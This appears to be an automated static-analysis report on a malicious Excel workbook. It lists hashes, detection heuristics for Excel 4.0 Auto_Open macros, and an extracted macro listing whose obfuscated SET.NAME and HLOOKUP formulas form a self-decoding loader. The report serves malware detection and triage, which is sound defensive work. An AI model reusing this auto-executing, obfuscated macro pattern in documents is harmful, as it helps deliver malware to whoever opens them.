Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 51dc105bfaa92783…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:39:36 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: bfbc86f91a4084916d5214632ea072b9 SHA-1: 441df9c76113a4b07d8a7a4e3b2a5840484de0f3 SHA-256: 51dc105bfaa92783b49928a6e1f68c0c20c75b63106320bb2e53d00e7accbf57
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6648 bytes
SHA-256: 261c407dad7d5dad93f358b43e07b9854f3837ce3757d0ea378c48d0c4900bcd
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Orrzi
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B163 
' 0018     21 LABEL : Cell Value, String Constant - bJFFoX len=0 
' 0018     24 LABEL : Cell Value, String Constant - BNaOCfeLU len=0 
' 0018     23 LABEL : Cell Value, String Constant - bXoZGmPS len=0 
' 0018     21 LABEL : Cell Value, String Constant - DcGZSv len=0 
' 0018     22 LABEL : Cell Value, String Constant - FgltERt len=0 
' 0018     22 LABEL : Cell Value, String Constant - kMaKJvP len=0 
' 0018     27 LABEL : Cell Value, String Constant - motrlLwkDAUa len=0 
' 0018     25 LABEL : Cell Value, String Constant - ncseHMQFYi len=0 
' 0018     25 LABEL : Cell Value, String Constant - nGLXxntrqM len=0 
' 0018     24 LABEL : Cell Value, String Constant - nnbvkeizx len=0 
' 0018     24 LABEL : Cell Value, String Constant - NQlpOyaCl len=0 
' 0018     25 LABEL : Cell Value, String Constant - NYNXUwXOiq len=0 
' 0018     24 LABEL : Cell Value, String Constant - OinHADlCg len=0 
' 0018     24 LABEL : Cell Value, String Constant - qfCEfViPy len=0 
' 0018     26 LABEL : Cell Value, String Constant - sEhPxxnstvn len=0 
' 0018     24 LABEL : Cell Value, String Constant - SfaEWyCff len=0 
' 0018     22 LABEL : Cell Value, String Constant - Vhsoiob len=0 
' 0018     24 LABEL : Cell Value, String Constant - XORnKWqvf len=0 
' 0018     23 LABEL : Cell Value, String Constant - YudzdsJx len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZvrLUWgmig len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Orrzi,P44,"",-820.00000000000000000000
'  Orrzi,P45,"",-675.00000000000000000000
'  Orrzi,P46,"",612.00000000000000000000
'  Orrzi,P47,"",182.00000000000000000000
'  Orrzi,P48,"",-850.00000000000000000000
'  Orrzi,P49,"",-98.00000000000000000000
'  Orrzi,B69,"SET.NAME("OinHADlCg",0+VALUE("0"))",""
'  Orrzi,B74,"SET.NAME("motrlLwkDAUa",OinHADlCg)",""
'  Orrzi,B77,"SET.NAME("bJFFoX",OinHADlCg)",""
'  Orrzi,B80,"SET.NAME("YudzdsJx",COUNTA(ncseHMQFYi))",""
'  Orrzi,B84,"SET.NAME("DcGZSv",COUNTA(bXoZGmPS))",""
'  Orrzi,B89,[],""
'  Orrzi,B91,"SET.NAME("nnbvkeizx","")",""
'  Orrzi,B95,"motrlLwkDAUa",""
'  Orrzi,B98,"SET.NAME("kMaKJvP",HLOOKUP("*",ncseHMQFYi,motrlLwkDAUa,FALSE))",""
'  Orrzi,B101,"BNaOCfeLU",""
'  Orrzi,B104,"SET.NAME("ZvrLUWgmig",OinHADlCg)",""
'  Orrzi,B106,[],""
'  Orrzi,B110,"ZvrLUWgmig",""
'  Orrzi,B112,"NYNXUwXOiq",""
'  Orrzi,B114,"nGLXxntrqM",""
'  Orrzi,B119,"Vhsoiob",""
'  Orrzi,B122,"SET.NAME("qfCEfViPy",VALUE(HLOOKUP("*",bXoZGmPS,Vhsoiob,FALSE)))",""
'  Orrzi,B125,"XORnKWqvf",""
'  Orrzi,B130,"nnbvkeizx",""
'  Orrzi,B135,"bJFFoX",""
'  Orrzi,B140,NEXT(),""
'  Orrzi,B145,"SfaEWyCff",""
'  Orrzi,B150,[],""
'  Orrzi,B152,"NQlpOyaCl",""
'  Orrzi,B154,NEXT(),""
'  Orrzi,B158,RETURN(),""
'  Orrzi,B187,"SET.NAME("FgltERt",B69)",""
'  Orrzi,B190,"ncseHMQFYi",""
'  Orrzi,B193,"SET.NAME("bXoZGmPS",R78C13)",""
'  Orrzi,B198,"SET.NAME("NQlpOyaCl",205)",""
'  Orrzi,B202,"SET.NAME("sEhPxxnstvn",2)",""
'  Orrzi,B204,FgltERt(),""
'  Orrzi,B205,HALT(),""